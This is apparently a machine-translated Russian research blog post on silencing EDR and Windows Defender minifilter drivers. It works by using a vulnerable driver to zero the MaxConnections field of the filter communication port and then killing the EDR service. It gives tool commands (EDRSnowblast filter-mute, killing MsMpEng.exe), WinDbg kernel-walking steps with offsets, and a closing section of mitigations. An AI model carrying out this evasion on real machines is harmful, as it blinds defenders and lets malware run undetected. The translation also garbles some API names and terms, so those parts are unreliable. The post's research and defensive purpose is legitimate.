October 11, 2023

исследование внутренней связи EDR

я решил взглянуть на связь между драйвером Windows и его процессом пользовательского режима. Вот некоторые подробности об этом путешествии.

ТЛ;ДР

Злоумышленники могут использовать примитив эксплойта R/W ядра Windows, чтобы избежать связи между EDR_Driver.sys и его EDR_process.exe. В результате некоторые механизмы обнаружения EDR будут отключены и сделают его (частично) невосприимчивым к вредоносным полезным нагрузкам. В этом блоге описывается альтернативный подход, который не удаляет обратные вызовы ядра, и даются некоторые рекомендации по защите от этой атаки «фильтр-отключение звука».

Обзор ролей EDR_process.exe и EDR_Driver.sys

Первый вопрос, который приходит на ум: как приложение EDR (EDR_Process.exe) взаимодействует со своим драйвером EDR (EDR_Driver.sys)?

Прежде чем проводить исследование, мы должны знать некоторые основы EDR; как агент EDR перехватывает/внедряет свою собственную DLL во время создания процесса?

The Внедрение процесса через обратные вызовысхемы взяты из EDR. Наблюдения Кристофера Веллы представляют собой хорошее резюме.

Я добавил несколько комментариев к происходящему:

  1. EDR_Driver.sys может подписаться на несколько видов уведомлений ядра. Вы можете представить, что эти уведомления похожи на «информационные бюллетени», на которые вы подписываетесь в Интернете и получаете их по электронной почте с веб-сайта. Например, EDR_Driver.sys может подписаться на службу уведомлений «создание нового процесса», используя Windows API с именем, PsSetCreateProcessNotifyRoutineкоторое затем для каждого процесса, созданного системой, драйвер будет получать информацию о нем (родительский PID, командную строку и т. д.).
  2. Пользователь дважды щелкает файлmalware.exe.
  3. Windows вызывает API CreateProcessW для загрузки вредоносного ПО.exe в память.
  4. EDR_Driver.sys уведомляется о том, что Malware.exe **будет** создан.
  5. EDR_Driver.sys отправляет журнал EDR_Process.exe, говоря: «Эй! Скоро будет запущен новый процесс под названием Malware.exe».
  6. EDR_process.exe может принять решение (или нет): «Хорошо, я буду контролировать этот процесс, создавая перехватчики в его ntdll.dll».
  7. При запуске вредоносного ПО.exe он вызывает API Windows. Благодаря перехватчикам EDR_Process.exe знает, какие API вызываются, и может определить, что делает этот вредоносный файл.exe.

Мы могли бы взять приведенный ниже фрагмент кода из ired.team в качестве примера вредоносного ПО.exe.

После установки перехватчиков агент EDR (EDR_process.exe) может отслеживать и анализировать вредоносное ПО.exe. Вот пример действий, которые он может предпринять:

1. EDR_Process.exe видит следующие вызовы Windows API, вызываемые Malware.exe:

  • OpenProcess
  • Виртуаллокекс
  • WriteProcessMemory
  • Создать удаленный поток

2. EDR_Process.exe классифицирует эту последовательность вызовов API как «вредоносную» и блокирует (убивает) процесс.

3. EDR_Process.exe отправляет журнал на EDR_C2 (консоль безопасности), в котором говорится: «Эй, процесс Malware.exe запущен и классифицируется как вредоносный».

Примечание. Это обычный поток EDR, а не единственный способ его работы. Например, EDR_Process.exe может отправлять только данные телеметрии и позволить EDR_C2 решить, является ли он вредоносным, и какое действие следует применить (заблокировать или нет).

Если поставщик EDR или операторы группы безопасности (также известные как blueteam) настроили правило «блокировать в случае вредоносного действия» в консоли безопасности EDR, то процесс Malware.exe уничтожается EDR_Process.exe (или EDR_Driver.sys). Возможны и другие меры противодействия, например:

  • хост Windows может быть удаленно изолирован от сети
  • Файл Malware.exe или дамп памяти можно загрузить для анализа/реверса.
  • аналитик безопасности может запускать команды на хосте Windows (из консоли безопасности) в целях расследования.

Этот момент очень важен; Чем опытнее blueteam в создании собственных правил, тем труднее злоумышленникам уклониться или проникнуть в сеть, не будучи пойманными!

Теперь, прежде чем углубляться во внутренние коммуникации, я хочу сделать шаг назад и упростить поведение EDR. Внутреннюю связь (синие стрелки) и внешнюю связь (желтые стрелки) EDR_Process.exe можно визуализировать с помощью простого обзора:

Углубление внутренней коммуникации EDR

Из пространства памяти ядра Windows EDR_Driver.sys может использовать несколько API ядра Windows (обратные вызовы) для мониторинга, а затем блокировки вредоносных действий системы. Например, PsSetCreateProcessNotifyRoutineподпрограмму API можно использовать для создания следующих сообщений «журналов мониторинга» благодаря механизму обратного вызова ядра:

– Журнал = создан новый процесс (PID 5376) с помощью строки cmd C:\notepad.exe.

Из пространства памяти пользовательского режима EDR_Process.exe может отправлять запросы действий драйверу и получать от него информацию. Например, «Запрос действия», исходящий от консоли безопасности EDR, может быть таким:

– Действие = список запретов C:\notepad.exe

На рисунке ниже я попытался отобразить общие обратные вызовы ядра Windows, используемые в целях мониторинга.

После составления этого обзора на ум приходит вопрос: как избежать взаимодействия между EDR_process.exe и EDR_driver.sys?

Ослепление EDR с использованием известных методик.

Наиболее распространенными методами ослепления датчиков EDR являются:

  1. Удаление перехватчиков DLL (пользовательское пространство)
  2. Удаление обратных вызовов ядра (земля ядра)

Поскольку мы фокусируемся только на части ядра EDR, вот визуализация того, что происходит, когда вы удаляете обратные вызовы ядра:

ДО нуля из адреса обратного вызова EDR :

ПОСЛЕ обнуления адреса обратного вызова EDR :

Мы не будем вдаваться в подробности этой темы, она освещена в блогпосте Blinding EDR On Windows от Зака ​​Штейна .

Но на рисунке ниже вы можете заметить, что каждый раз, когда вы обнуляете адрес обратного вызова EDR, это означает, что больше никаких уведомлений (никаких «информационных бюллетеней») не будет отправляться из Windows в EDR_Driver.sys. В конце концов, журнал событий больше не будет отправляться в EDR_Process.exe (и консоль аналитика безопасности)!

Ослепление EDR с использованием альтернативного подхода

Во время исследования этой темы мне было интересно, как избежать связи между EDR_process.exe и EDR_driver.sys без какой-либо модификации обратного вызова ? Можем ли мы запретить EDR_process.exe и EDR_Driver.sys обмениваться «сообщениями»?

Как я уже говорил, мы хотим остаться на основной стороне истории. Мы могли бы представить себе другой подход, используя это графическое представление:

Пока я пытался исследовать использование Windbg, Ярден Шафир написал потрясающий блог « Исследование коммуникационных портов фильтров» , который действительно помог. Я обнаружил, что некоторые структуры данных Windows манипулируются во время настройки связи между приложением и драйвером.

Структура данных с именемFLT_SERVER_PORT_OBJECTобратил мое внимание, потому что там, похоже, есть интересные поля, посмотрите, согласны ли вы:

Когда я увидел это, первый вопрос, который пришел мне в голову, был: что произойдет, если мы установим MaxConnections равным нулю?

Эта структура данных инициализируется с использованием API драйверов Windows с именемFltCreateCommunicationPort:

NTSTATUS FLTAPI FltCreateCommunicationPort(
  [in]           PFLT_FILTER            Filter,
  [out]          PFLT_PORT              *ServerPort,
  [in]           POBJECT_ATTRIBUTES     ObjectAttributes,
  [in, optional] PVOID                  ServerPortCookie,
  [in]           PFLT_CONNECT_NOTIFY    ConnectNotifyCallback,
  [in]           PFLT_DISCONNECT_NOTIFY DisconnectNotifyCallback,
  [in, optional] PFLT_MESSAGE_NOTIFY    MessageNotifyCallback,
  [in]           LONG                   MaxConnections
);

Документация Microsoft предоставляет следующую информацию:

Какой вывод мы могли сделать? Если мы сможем сбросить MaxConnections до нуля, это только предотвратит возникновение новых подключений. Давайте рассмотрим следующий план атаки:

  • Шаг 1. Сбросьте значение MaxConnections.
  • Шаг 2. Принудительно перезапустите EDR_Process.exe (должны требоваться высокие привилегии, возможно, NT SYSTEM)
  • Шаг 3: наблюдайте за поведением EDR

Шаг 1. Сбросьте значение MaxConnections.

Первым необходимым условием для этого шага является наличие примитива чтения/записи в режиме ядра, который мы можем использовать для установки значения в 0. Для этого мы будем использовать технику BYOVD (принеси свой собственный уязвимый драйвер). В качестве второго предварительного условия нам нужно найти адрес поля MaxConnections в памяти ядра, верно? Давайте посмотрим, как мы можем получить этот адрес!

Структураfltmgr!_FLT_SERVER_PORT_OBJECTмы обсуждали ранее, могут быть достигнуты с помощью структурыfltmgr!_FLT_FILTER, которого можно достичь с помощью структурыfltmgr!_FLTP_FRAME, которого можно достичь с помощью структурыФЛТМГР!_ГЛОБАЛС, до которого можно было добратьсяFltMgr.sysВодитель. Базовый адрес этого модуля ядра можно получить из пользовательского пространства с помощью NtQuerySystemInformation Windows API.

Я согласен с Алексом Ионеску, когда он сказал: «У меня 99 проблем, но указатель ядра — нет» :-). Мы можем найти адрес MaxConnections , пройдя через структуры данных ядра Windows, начиная с драйвера FltMgr.sys и заканчивая этим полем!

Это немного длинно для середины поста, но если вам интересно и вы хотите знать, как это сделать с помощью Windbg, загляните в раздел ДОПОЛНИТЕЛЬНАЯ МИЛЯ в конце: «Прогулка по ядру, 10 шагов, чтобы получить доступ к MaxConnections »

Вот как это выглядит, когда вы хотите просмотреть подробную информацию о драйвере ядра Защитника Windows:

Зная расположение памяти MaxConnections , мы можем использовать примитив чтения в режиме ядра, чтобы получить текущее значение, а с помощью примитива записи в режиме ядра мы можем установить значение в 0.

Шаг 2: принудительно перезапустить EDR

Этот этап может оказаться трудным, поскольку EDR_Process.exe делает все возможное, чтобы защитить себя. Обычно эта программа запускается как служба и возрождается после закрытия, но нас это не волнует, поскольку EDR_Driver.sys не разрешает никаких соединений благодаря шагу 1 ;-)

Лично я выполняю эту операцию, используя свой собственный инструмент (неподписанный злой драйвер), который позволяет нам убить процесс, даже если он защищен, но также можно использовать Process Hacker (если он не внесен в запрещенный список) или, что еще лучше, любые эксплуатируемые «драйверы убийц процессов». . Я настоятельно рекомендую публикацию в блоге Алисы Климент-Поммере ( @AliceCliment ) Поиск и использование драйверов-убийц процессов с помощью LOL за 3000 долларов, которая охватывает эту тему!

Шаг 3: наблюдайте за поведением EDR

Давайте создадим вредоносное ПО (база кода доступна на ired.team ) с именем iwanttobeflag.exe , которое будет запускать Защитник Windows:

Затем мы можем проверить реакцию по умолчанию на наше вредоносное ПО, скопировав вредоносную полезную нагрузку с общего ресурса на локальный диск. Это вызывает предупреждение и блокируется Защитником Windows, как и ожидалось: отлично!

copy z:\iwanttobeflag.exe c:\

Теперь у нас есть что-то, что обычно вызывает предупреждение, которое мы можем использовать, чтобы проверить, отключает ли наша техника EDR. Используя это, мы можем проверить, может ли наша «техника отключения звука» быть полезной.

Реализация Плана

Давайте объединим все это в инструмент и проверим, могут ли наши шаги 1 и 2 нарушить оповещение, вызванное на шаге 3.

Мне нравится инструмент EDRSandblast , созданный Томасом ДИОТом ( Qazeer ) и Максимом МЕЙНАНОМ ( @th3m4ks ), он действительно потрясающий. Я открыл запрос на включение / проблему , но не знаю, поддерживается ли проект. Это побудило меня начать собственный проект под названием EDRSnowblast , чтобы реализовать эту « технику отключения звука драйвера мини-фильтра ». Более подробную информацию об этом проекте можно найти по адресу https://v1k1ngfr.github.io/edrsnowblast/ .

Давайте пройдемся по этапам на работающей машине и посмотрим, что произойдет!

1. перечислите драйверы (фильтры), которые загружаются в память ядра, и определите Защитник Windows: WdFilter по индексу 9 на рисунке ниже.

EDRSnowblast.exe filter-enum --kernelmode

2. получить подробную информацию о фильтре WdFilter : например MaxConnections и NumberOfConnections.

EDRSnowblast.exe filter-enum --kernelmode --filter-index 9

3. отключить звук WdFilter : установить MaxConnections на ноль.

EDRSnowblast.exe filter-mute --kernelmode --filter-index 9

4. (необязательно) проверьте значение MaxConnections, используя опцию –filter-enum , как показано ранее.

5. Определите PID процесса пользовательского режима Защитника Windows и завершите его.

tasklist | findstr MsMpEng.exe
MsMpEng.exe                   2956 Services                   0    206,788 K
c:\pimpmypid_clt.exe /kill 2956

6. скопируйте нашу вредоносную нагрузку, созданную на шаге 3, и выполните

copy z:\iwanttobeflag.exe c:\
c:\iwanttobeflag.exe

7. наслаждайтесь нашим успехом

Если хотите, вы можете посмотреть живое демонстрационное видео ниже.

Этот метод был успешно протестирован на Защитнике Windows и двух других поставщиках EDR.

Как защитить/обнаружить?

Мы должны начать с вопроса, каковы предпосылки для «отключения фильтра»?

  1. вы должны использовать примитив эксплойта R/W ядра Windows. Если вы хотите использовать BYOVD (принесите свой собственный уязвимый драйвер), у вас должен бытьSeLoadDriverPrivilege, необходимый для загрузки/выгрузки драйверов (например: локальный администратор, администратор домена, оператор печати домена)
  2. вы должны иметь возможность завершить (или перезапустить) приложение пользовательского режима EDR

Теперь мы могли бы задаться вопросом, могут ли пользователи Windows защитить себя? и да, некоторые смягчения существуют. Вот несколько рекомендаций:

  • применять исправления Windows : они удаляют уязвимости из ядра и драйверов Windows.
  • используйте Microsoft VBS (включите HVCI): как вы могли заметить, используемый вектор атаки — BYOVD. Этот вектор известен уже давно, и Microsoft проделала большую работу по смягчению его последствий с помощью функций безопасности на основе виртуализации (VBS), доступных в Windows 10, Windows 11, Windows Server 2016 и более поздних версиях. Более подробную информацию о VBS можно найти в документации Microsoft: Безопасность на основе виртуализации (VBS).
  • используйте рекомендуемые Microsoft правила блокировки драйверов, доступные здесь
  • используйте правила Sysmon или Sigma : огромный список известных уязвимых драйверов доступен на www.loldrivers.io , и этот проект предоставляет такие правила.

Другой вопрос: могут ли поставщики EDR защитить свои драйверы от этой атаки? Да, они могут!

Самым быстрым решением может быть занесение в список известных уязвимых драйверов и предотвращение их загрузки. Но этот метод имеет те же ограничения, что и AV-сигнатуры; неизвестные уязвимые драйверы не будут заблокированы.

Разработчики могли бы реализовать лучшую защиту:

  • всегда проверяйте, что EDR_process.exe может подключиться к коммуникационному порту EDR_driver.sys. Пример кода, который может достичь этого:
HANDLE hPort;
HRESULT hr = ::FilterConnectCommunicationPort(L"\\secureEDR",0, nullptr, 0, nullptr, &hPort);

if (FAILED(hr)) {
   printf("Error connecting to EDR_driver.sys ! (HR=0x%08X)\n", hr);
   if (hr == 0x800704D6) {
      printf("ERROR_CONNECTION_COUNT_LIMIT : A connection to the server could not be made because the limit on the number of concurrent connections for this account has been reached.\n");
   }
}
// Other common errors you should check are
// ERROR_BAD_PATHNAME (HR=0x800700A1)
// E_FILE_NOT_FOUND (HR=0x80070002)
// E_ACCESSDENIED (HR=0x80070005)
// ERROR_INVALID_NAME (HR=0x8007007B)
  • Статический KDP: драйвер EDR должен вызывать API MmProtectDriverSection для защиты раздела своего образа.
  • Динамический KDP: позволяет драйверу выделять и инициализировать память только для чтения, используя службы, предоставляемые безопасным пулом, которым управляет безопасное ядро, с использованием API ExAllocatePool3.

Более подробную информацию о KDP можно найти в публикации Андреа Аллиеви: Представляем защиту данных ядра.

Ресурсы и благодарности

Я хотел бы предоставить вам наиболее актуальные ресурсы, использованные во время этого путешествия, а также поблагодарить тех людей, которые помогают облегчить это исследование.

Спасибо, что поделились своими знаниями с сообществом!

– Ярден Шафир (@yarden_shafir) для блога – Исследование портов связи фильтров

– Кристофер Велла (@kharosx0) за доклад – Выступление CrikeyCon 2019 – Реверсирование и обход EDR

– Зак Стейн (@synzack21) для блога – Ослепление EDR в Windows

– Александр Борхес (@ale_sp_brazil) за 109 страниц (!) – Серия «Использование реверсирования (ER)»

– Павел Иосифович (@zodiacon) за книгу – Программирование ядра Windows

– Алекс Ионеску (@aionescu) за переговоры – REcon 2013 – У меня 99 проблем, но указатель ядра не один

– Коннор МакГарр (@33y0re) для блога – Разработка эксплойтов: нет выполнения кода? Без проблем! Жизнь в эпоху VBS, HVCI и Kernel CFG

Надеюсь, вы что-то узнали, спасибо за чтение!

ДОПОЛНИТЕЛЬНАЯ МИЛЯ: «Прогулка по ядру, 10 шагов для получения доступа к MaxConnections»

Хорошо, вам любопытно, хакерский дух великолепен! Хотите знать, как получить значение MaxConnections? Метод ниже показывает, как получить значение MaxConnections драйвера с именемBindflt.sysс помощью Windbg. В качестве напоминания/помощи, пожалуйста, найдите карту походов ниже.

TL;DR: полное решение доступно на карте в конце этого раздела.

Шаг 0 – Определите точку входа

Отправной точкой является структура с именем FLTMGR!FltGlobals. Вы можете получить адрес напрямую:

kd> ? FLTMGR!FltGlobals

Но если вам нужно получить этот адрес с помощью утечки памяти, этот путь работает как шарм:

— получить стартовый адрес fltmgr.sys

lmdvm fltmgr

— получить смещение функции FltEnumerateFilters, а в этой функции смещение lea rcx, [FLTMGR!FltGlobals+0x58]инструкции

u FLTMGR!FltEnumerateFilters L15

– вычислить начальный адрес FLTMGR!FltGlobals:0xfffff8061ea8b600

? fffff806`1ea8b658 - 0x58

Шаг 1. Вычислите адрес поля FrameList, хранящийся в FLTMGR!FltGlobals: 0xffff8061ea8b6c0.

kd> ? fffff806`1ea8b600 + 0x58 + 0x68

Шаг 2 – используйте косвенное обращение указателя и получите адрес первого кадра (файла ссылок) в FLTMGR!_FLTP_FRAME: 0xffffca0c38c61058

kd> ? poi(fffff806`1ea8b6c0)

Шаг 3. Вычислите начальный адрес первого кадра: 0xffffca0c38c61050.

kd> ? ffffca0c`38c61058 - 0x008

Шаг 4. Вычислите адрес списка фильтров: 0xffffca0c38c61100.

kd> ? ffffca0c`38c61050 + 0x48 + 0x68 + 0x000

Шаг 5 – используйте косвенность указателя и получите адрес первого фильтра (поле PrimaryLink): 0xffffca0c386e8020

kd> ? poi(ffffca0c`38c61100)

Шаг 6. Вычислите адрес первого фильтра (база FLTMGR!_FLT_FILTER): 0xffffca0c386e8010.

kd> ? ffffca0c`386e8020 - 0x010

Хорошо, мы можем проверить и визуализировать, где мы используем команду отладчика ядра фильтра Windbg (fltkd) с именемframes :

Шаг 7. Вычислите адрес списка портов сервера: 0xffffca0c386e8250.

kd> ? ffffca0c`386e8010 + 0x208 + 0x038 + 0x000

Шаг 8. Используйте косвенное обращение указателя и получите адрес объекта портов первого сервера (FLTMGR!_FLT_SERVER_PORT_OBJECT адрес FilterLink): 0xffffca0c3eaf73f0

kd> ? poi(ffffca0c`386e8250)

Шаг 9 — вычислите адрес поля MaxConnections: 0xffffca0c3eaf7430.

kd> ? ffffca0c`3eaf73f0 +0x040

Шаг 10 — используйте косвенность указателя и получите значение MaxConnections: 1000.

kd> .formats poi(ffffca0c`3eaf7430)

или

kd> dt _FLT_SERVER_PORT_OBJECT ffffca0c`3eaf73f0

Окончательно! Ты получил это!

Заключительные шаги — установите значение MaxConnections на ноль и завершите EDR_Process.exe.

kd> eq 0xffffca0c3eaf7430 0

и

kd> !process 0 0 MsMpEng.exe
PROCESS ffffa40a23a5f340

kd> .kill ffffa40a23a5f340

Поскольку для меня было кошмаром визуализировать, где я нахожусь в памяти ядра, каковы поля структур данных, связи между структурами данных, какие смещения мне следует использовать и т. д., я составил карту ниже (которая также включает команды Windbg) .

Возможно (как и я) вам интересно, какие значения используются в вычислениях: да, это смещения .

Смещения могут измениться после обновлений Windows, лично я использую настроенную версию скрипта ExtractOffsets.py от EDRSandblast (доступен в EDRSnowblast ). Пример вывода показан ниже.

Поскольку мы знаем метод и смещения, мы можем это автоматизировать! PoC или GTFO, код для этого можно найти на сайте EDRSnowblast .